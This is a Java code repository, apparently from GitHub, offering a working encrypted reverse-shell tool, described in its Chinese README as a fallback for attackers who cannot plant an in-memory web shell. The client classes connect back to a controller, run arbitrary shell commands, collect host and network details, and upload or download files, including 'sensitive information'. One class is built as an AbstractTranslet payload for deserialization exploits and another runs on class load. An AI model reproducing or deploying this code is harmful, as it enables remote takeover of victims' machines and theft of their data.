├── .gitignore
├── README.md
├── pom.xml
└── src
└── main
└── java
└── org
└── example
├── SocketServer.java
├── clientTemplate.java
└── socketClient.java
/.gitignore:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/triplexlove/javasocket/b481285565a8960c1c49ec496c2823bf21f241c1/.gitignore
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | 介绍
2 |
3 | 简单实现了javasocket反弹shell,应对无法正常打入内存马的场景
4 | 并且增加了文件上传加载的功能,可二次上传内存马文件或下载敏感信息等等
5 | 
6 | 使用
7 |
8 | 将socketclient使用反序列化包裹或直接在目标机器中运行即可
9 |
--------------------------------------------------------------------------------
/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 | 4.0.0
6 |
7 | org.example
8 | javasocket
9 | 1.0-SNAPSHOT
10 |
11 |
12 | 8
13 | 8
14 | UTF-8
15 |
16 |
17 |
18 | info.picocli
19 | picocli
20 | 4.7.5
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 | org.apache.maven.plugins
29 | maven-jar-plugin
30 | 3.2.0
31 |
32 |
33 |
34 | org.example.SocketServer
35 |
36 |
37 |
38 |
39 |
40 |
41 |
--------------------------------------------------------------------------------
/src/main/java/org/example/SocketServer.java:
--------------------------------------------------------------------------------
1 | package org.example;
2 |
3 | import picocli.CommandLine;
4 | import picocli.CommandLine.Option;
5 |
6 | import javax.crypto.*;
7 | import javax.crypto.spec.SecretKeySpec;
8 | import java.io.*;
9 | import java.net.ServerSocket;
10 | import java.net.Socket;
11 | import java.security.InvalidKeyException;
12 | import java.security.NoSuchAlgorithmException;
13 | import java.util.Base64;
14 | import java.util.Scanner;
15 | import java.util.concurrent.ExecutorService;
16 | import java.util.concurrent.Executors;
17 |
18 | @CommandLine.Command(name = "SocketServer", mixinStandardHelpOptions = true, version = "1.0")
19 | public class SocketServer implements Runnable {
20 |
21 | @Option(names = {"-p", "--port"}, description = "Server port", required = true)
22 | private int port;
23 |
24 | static String key = "I72YPGxLFctx1GnG";
25 |
26 | public static void main(String[] args) {
27 | int exitCode = new CommandLine(new SocketServer()).execute(args);
28 | System.exit(exitCode);
29 | }
30 |
31 | @Override
32 | public void run() {
33 | try {
34 | ServerSocket serverSocket = new ServerSocket(port);
35 | System.out.println("服务器启动,等待客户端连接...");
36 |
37 | ExecutorService executorService = Executors.newCachedThreadPool();
38 | Scanner scanner = new Scanner(System.in);
39 |
40 | while (true) {
41 | Socket clientSocket = serverSocket.accept(); // 等待客户端连接
42 | executorService.execute(new ClientHandler(clientSocket, scanner));
43 | }
44 | } catch (IOException e) {
45 | e.printStackTrace();
46 | }
47 | }
48 |
49 | // 定义处理客户端的线程
50 | static class ClientHandler implements Runnable {
51 | private final Socket clientSocket;
52 | private final Scanner scanner;
53 |
54 | public ClientHandler(Socket clientSocket, Scanner scanner) {
55 | this.clientSocket = clientSocket;
56 | this.scanner = scanner;
57 | }
58 |
59 | @Override
60 | public void run() {
61 | try {
62 | // 获取输入输出流
63 | OutputStream os = clientSocket.getOutputStream();
64 | DataOutputStream dos = new DataOutputStream(os);
65 | InputStream is = clientSocket.getInputStream();
66 | DataInputStream dis = new DataInputStream(is);
67 | // 循环接收用户输入并发送给客户端
68 | String ospath = dis.readUTF();
69 | System.out.println("上传命令 upload local-file src-file");
70 | System.out.println("获取目标信息 info");
71 | System.out.println("下载命令 download src-file local-file");
72 | System.out.println("请输入要发送的命令(输入'exit'退出):");
73 | while (true) {
74 | System.out.print(ospath + "> ");
75 | String command = scanner.nextLine();
76 | if ("exit".equalsIgnoreCase(command)) {
77 | break;
78 | }
79 | else if (command.startsWith("upload")) {
80 | String[] commandParts = command.split(" ");
81 | if (commandParts.length == 3) {
82 | String localFilePath = commandParts[1];
83 | String targetFilePath = commandParts[2];
84 | sendFile(localFilePath, targetFilePath, dos, dis);
85 | } else {
86 | System.out.println("无效的upload命令。");
87 | }
88 | }
89 | else if (command.startsWith("download")) {
90 | String[] commandParts = command.split(" ");
91 | if (commandParts.length == 3) {
92 | String targetFilePath = commandParts[1];
93 | String localFilePath = commandParts[2];
94 | downloadFile(targetFilePath, localFilePath, dos, dis);
95 | } else {
96 | System.out.println("无效的download命令。");
97 | }
98 | }
99 | else {
100 | dos.writeUTF(encrypt(command));
101 | String response = dis.readUTF();
102 | System.out.println("客户端响应:" + decrypt(response));
103 | }
104 | }
105 | // 关闭资源
106 | dos.close();
107 | os.close();
108 | dis.close();
109 | is.close();
110 | clientSocket.close();
111 | } catch (IOException | NoSuchPaddingException | IllegalBlockSizeException | NoSuchAlgorithmException |
112 | BadPaddingException | InvalidKeyException e) {
113 | e.printStackTrace();
114 | } catch (Exception e) {
115 | throw new RuntimeException(e);
116 | }
117 | }
118 | }
119 |
120 | // 处理文件上传
121 | private static void sendFile(String localFilePath, String targetFilePath, DataOutputStream dos, DataInputStream dis) throws Exception {
122 | File file = new File(localFilePath);
123 | if (!file.exists()) {
124 | System.out.println("文件不存在!");
125 | return;
126 | }
127 | dos.writeUTF(encrypt("upload"));
128 | dos.writeUTF(encrypt(targetFilePath));
129 |
130 | long fileLength = file.length();
131 | dos.writeLong(fileLength);
132 |
133 | byte[] buffer = new byte[4096];
134 | try (FileInputStream fis = new FileInputStream(file)) {
135 | int bytesRead;
136 | while ((bytesRead = fis.read(buffer)) != -1) {
137 | dos.write(buffer, 0, bytesRead);
138 | }
139 | }
140 |
141 | String response = dis.readUTF();
142 | if ("upload_success".equals(decrypt(response))) {
143 | System.out.println("文件上传成功!");
144 | } else {
145 | System.out.println("文件上传失败!");
146 | }
147 | }
148 | private static void downloadFile(String targetFilePath, String localFilePath, DataOutputStream dos, DataInputStream dis) throws Exception {
149 | File file = new File(localFilePath);
150 | dos.writeUTF(encrypt("download"));
151 | dos.writeUTF(encrypt(targetFilePath));
152 | long fileLength = dis.readLong();
153 | try (FileOutputStream fos = new FileOutputStream(file)) {
154 | byte[] buffer = new byte[4096];
155 | long bytesReceived = 0;
156 | int bytesRead;
157 | while (bytesReceived < fileLength) {
158 | bytesRead = dis.read(buffer);
159 | fos.write(buffer, 0, bytesRead);
160 | bytesReceived += bytesRead;
161 | }
162 | }
163 | String response = dis.readUTF();
164 | if ("download_success".equals(decrypt(response))){
165 | System.out.println("文件下载成功!");
166 | }else {
167 | System.out.println("文件下载失败!");
168 | }
169 |
170 | }
171 |
172 |
173 | public static String encrypt(String cmd) throws NoSuchPaddingException, NoSuchAlgorithmException, InvalidKeyException, IllegalBlockSizeException, BadPaddingException {
174 | SecretKeySpec secretKeySpec = new SecretKeySpec(key.getBytes(), "AES");
175 | Cipher cipher = Cipher.getInstance("AES");
176 | cipher.init(Cipher.ENCRYPT_MODE, secretKeySpec);
177 | byte[] bytes = cipher.doFinal(cmd.getBytes());
178 | return Base64.getEncoder().encodeToString(bytes);
179 | }
180 |
181 | public static String decrypt(String encryptedData) throws Exception {
182 | SecretKeySpec secretKeySpec = new SecretKeySpec(key.getBytes(), "AES");
183 | Cipher cipher = Cipher.getInstance("AES");
184 | cipher.init(Cipher.DECRYPT_MODE, secretKeySpec);
185 | byte[] original = cipher.doFinal(Base64.getDecoder().decode(encryptedData));
186 | return new String(original);
187 | }
188 | }
--------------------------------------------------------------------------------
/src/main/java/org/example/clientTemplate.java:
--------------------------------------------------------------------------------
1 | package org.example;
2 |
3 | import com.sun.org.apache.xalan.internal.xsltc.DOM;
4 | import com.sun.org.apache.xalan.internal.xsltc.TransletException;
5 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
6 | import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
7 | import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
8 |
9 | import javax.crypto.BadPaddingException;
10 | import javax.crypto.Cipher;
11 | import javax.crypto.IllegalBlockSizeException;
12 | import javax.crypto.NoSuchPaddingException;
13 | import javax.crypto.spec.SecretKeySpec;
14 | import java.io.*;
15 | import java.net.Socket;
16 | import java.security.InvalidKeyException;
17 | import java.security.NoSuchAlgorithmException;
18 | import java.util.Base64;
19 |
20 | public class clientTemplate extends AbstractTranslet {
21 | public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
22 |
23 | public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
24 | static String key = "I72YPGxLFctx1GnG";
25 | public static String encrypt(String cmd) throws NoSuchPaddingException, NoSuchAlgorithmException, InvalidKeyException, IllegalBlockSizeException, BadPaddingException {
26 | SecretKeySpec secretKeySpec = new SecretKeySpec(key.getBytes(), "AES");
27 | Cipher cipher = Cipher.getInstance("AES");
28 | cipher.init(Cipher.ENCRYPT_MODE,secretKeySpec);
29 | byte[] bytes = cipher.doFinal(cmd.getBytes());
30 | return Base64.getEncoder().encodeToString(bytes);
31 | }
32 | public static String decrypt(String encryptedData) throws Exception {
33 | SecretKeySpec secretKeySpec = new SecretKeySpec(key.getBytes(), "AES");
34 | Cipher cipher = Cipher.getInstance("AES");
35 | cipher.init(Cipher.DECRYPT_MODE, secretKeySpec);
36 | byte[] original = cipher.doFinal(Base64.getDecoder().decode(encryptedData));
37 | return new String(original);
38 | }
39 | public String executeCmd(String[] cmd) throws IOException {
40 | try{
41 | Runtime runtime = Runtime.getRuntime();
42 | Process process = runtime.exec(cmd);
43 | // 使用BufferedReader读取命令的输出
44 | BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
45 | String line;
46 | StringBuilder output = new StringBuilder();
47 | while ((line = reader.readLine()) != null) {
48 | output.append(line).append("\n");
49 | }
50 | return String.valueOf(output);
51 | }
52 | catch (Exception e){
53 | return String.valueOf(e);
54 | }
55 |
56 | }
57 |
58 | public clientTemplate() throws Exception {
59 | super();
60 | String ip = "127.0.0.1";
61 | int port = 8888;
62 | String[] shell = System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c"} : new String[]{"/bin/sh", "-c"};
63 | String currentDir = System.getProperty("user.dir");
64 | System.out.println();
65 | try {
66 | Socket s = new Socket(ip, port);
67 | InputStream is = s.getInputStream();
68 | DataInputStream dis = new DataInputStream(is);
69 | OutputStream os = s.getOutputStream();
70 | DataOutputStream dos = new DataOutputStream(os);
71 | dos.writeUTF(currentDir);
72 | while (true){
73 | String cmd = dis.readUTF();
74 | if ("exit".equalsIgnoreCase(decrypt(cmd))){
75 | break;//退出进程
76 | }
77 | String[] cmder = {shell[0], shell[1], decrypt(cmd)};
78 | dos.writeUTF(encrypt(executeCmd(cmder)));
79 | }
80 | dis.close();
81 | is.close();
82 | dos.close();
83 | os.close();
84 | s.close();
85 | } catch (Exception e) {
86 | throw new RuntimeException(e);
87 | }
88 | }
89 | }
90 |
--------------------------------------------------------------------------------
/src/main/java/org/example/socketClient.java:
--------------------------------------------------------------------------------
1 | package org.example;
2 |
3 | import javax.crypto.BadPaddingException;
4 | import javax.crypto.Cipher;
5 | import javax.crypto.IllegalBlockSizeException;
6 | import javax.crypto.NoSuchPaddingException;
7 | import javax.crypto.spec.SecretKeySpec;
8 | import java.io.*;
9 | import java.net.Socket;
10 | import java.security.InvalidKeyException;
11 | import java.security.NoSuchAlgorithmException;
12 | import java.util.Base64;
13 |
14 |
15 | public class socketClient {//客户端
16 | static String key = "I72YPGxLFctx1GnG";
17 | socketClient(){
18 | String ip = "127.0.0.1";
19 | int port = 65434;
20 | String[] shell = System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c"} : new String[]{"/bin/sh", "-c"};
21 | String currentDir = System.getProperty("user.dir");
22 | System.out.println();
23 | try {
24 | Socket s = new Socket(ip, port);
25 | InputStream is = s.getInputStream();
26 | DataInputStream dis = new DataInputStream(is);
27 | OutputStream os = s.getOutputStream();
28 | DataOutputStream dos = new DataOutputStream(os);
29 | dos.writeUTF(currentDir);
30 | while (true){
31 | String cmd = dis.readUTF();
32 | if ("exit".equalsIgnoreCase(decrypt(cmd))){
33 | break;
34 | }
35 | else if("info".equalsIgnoreCase(decrypt(cmd))) {
36 | dos.writeUTF(encrypt(info()));
37 | }
38 | else if (decrypt(cmd).startsWith("upload")) {
39 | receiveFile(dis, dos);
40 | }else if (decrypt(cmd).startsWith("download")){
41 | sendFile2Server(dis, dos);
42 | }
43 | else {
44 | String[] cmder = {shell[0], shell[1], decrypt(cmd)};
45 | dos.writeUTF(encrypt(executeCmd(cmder)));
46 | }
47 |
48 | }
49 | dis.close();
50 | is.close();
51 | dos.close();
52 | os.close();
53 | s.close();
54 | } catch (Exception e) {
55 | throw new RuntimeException(e);
56 | }
57 | }
58 | public String info() throws IOException {
59 | StringBuilder stringBuilder = new StringBuilder();
60 | String os = System.getProperty("os.name");
61 | stringBuilder.append("os: ").append(os).append("\n");
62 | String username = System.getProperty("user.name");
63 | stringBuilder.append("whoami: ").append(username).append("\n");
64 | String home = System.getProperty("user.home");
65 | stringBuilder.append("home: ").append(home).append("\n");
66 | String dir = System.getProperty("user.dir");
67 | stringBuilder.append("dir: ").append(dir).append("\n");
68 | stringBuilder.append("newtork: ").append("\n");
69 | java.util.Enumeration nifs = java.net.NetworkInterface.getNetworkInterfaces();
70 | while (nifs.hasMoreElements()) {
71 | java.net.NetworkInterface nif = nifs.nextElement();
72 | java.util.Enumeration addresses = nif.getInetAddresses();
73 | while (addresses.hasMoreElements()) {
74 | java.net.InetAddress addr = addresses.nextElement();
75 | stringBuilder.append("address: ").append(addr.getHostAddress()).append(", interface: ").append(nif.getName()).append("\n");
76 | }
77 | }
78 | return stringBuilder.toString();
79 | }
80 |
81 | private void receiveFile(DataInputStream dis, DataOutputStream dos) throws Exception {
82 |
83 | String destinationPath = decrypt(dis.readUTF());
84 | long fileLength = dis.readLong();
85 |
86 | File targetFile = new File(destinationPath);
87 | try (FileOutputStream fos = new FileOutputStream(targetFile)) {
88 | byte[] buffer = new byte[4096];
89 | long bytesReceived = 0;
90 | int bytesRead;
91 | while (bytesReceived < fileLength) {
92 | bytesRead = dis.read(buffer);
93 | fos.write(buffer, 0, bytesRead);
94 | bytesReceived += bytesRead;
95 | }
96 | }
97 |
98 | dos.writeUTF(encrypt("upload_success"));
99 | }
100 | private static void sendFile2Server(DataInputStream dis, DataOutputStream dos) throws Exception {
101 | String localFilePath = decrypt(dis.readUTF());
102 | File file = new File(localFilePath);
103 | if (!file.exists()) {
104 | return;
105 | }
106 | long fileLength = file.length();
107 | dos.writeLong(fileLength);
108 | byte[] buffer = new byte[4096];
109 | try (FileInputStream fis = new FileInputStream(file)) {
110 | int bytesRead;
111 | while ((bytesRead = fis.read(buffer)) != -1) {
112 | dos.write(buffer, 0, bytesRead);
113 | }
114 | }
115 | dos.writeUTF(encrypt("download_success"));
116 | }
117 | public String executeCmd(String[] cmd) throws IOException {
118 | try{
119 | Runtime runtime = Runtime.getRuntime();
120 | Process process = runtime.exec(cmd);
121 | // 使用BufferedReader读取命令的输出
122 | BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
123 | String line;
124 | StringBuilder output = new StringBuilder();
125 | while ((line = reader.readLine()) != null) {
126 | output.append(line).append("\n");
127 | }
128 | return String.valueOf(output);
129 | }
130 | catch (Exception e){
131 | return String.valueOf(e);
132 | }
133 |
134 | }
135 | static {
136 | new socketClient();
137 | }
138 | public static void main(String[] args) {
139 | new socketClient();
140 | }
141 | public static String encrypt(String cmd) throws NoSuchPaddingException, NoSuchAlgorithmException, InvalidKeyException, IllegalBlockSizeException, BadPaddingException {
142 | SecretKeySpec secretKeySpec = new SecretKeySpec(key.getBytes(), "AES");
143 | Cipher cipher = Cipher.getInstance("AES");
144 | cipher.init(Cipher.ENCRYPT_MODE,secretKeySpec);
145 | byte[] bytes = cipher.doFinal(cmd.getBytes());
146 | return Base64.getEncoder().encodeToString(bytes);
147 | }
148 | public static String decrypt(String encryptedData) throws Exception {
149 | SecretKeySpec secretKeySpec = new SecretKeySpec(key.getBytes(), "AES");
150 | Cipher cipher = Cipher.getInstance("AES");
151 | cipher.init(Cipher.DECRYPT_MODE, secretKeySpec);
152 | byte[] original = cipher.doFinal(Base64.getDecoder().decode(encryptedData));
153 | return new String(original);
154 | }
155 | }
--------------------------------------------------------------------------------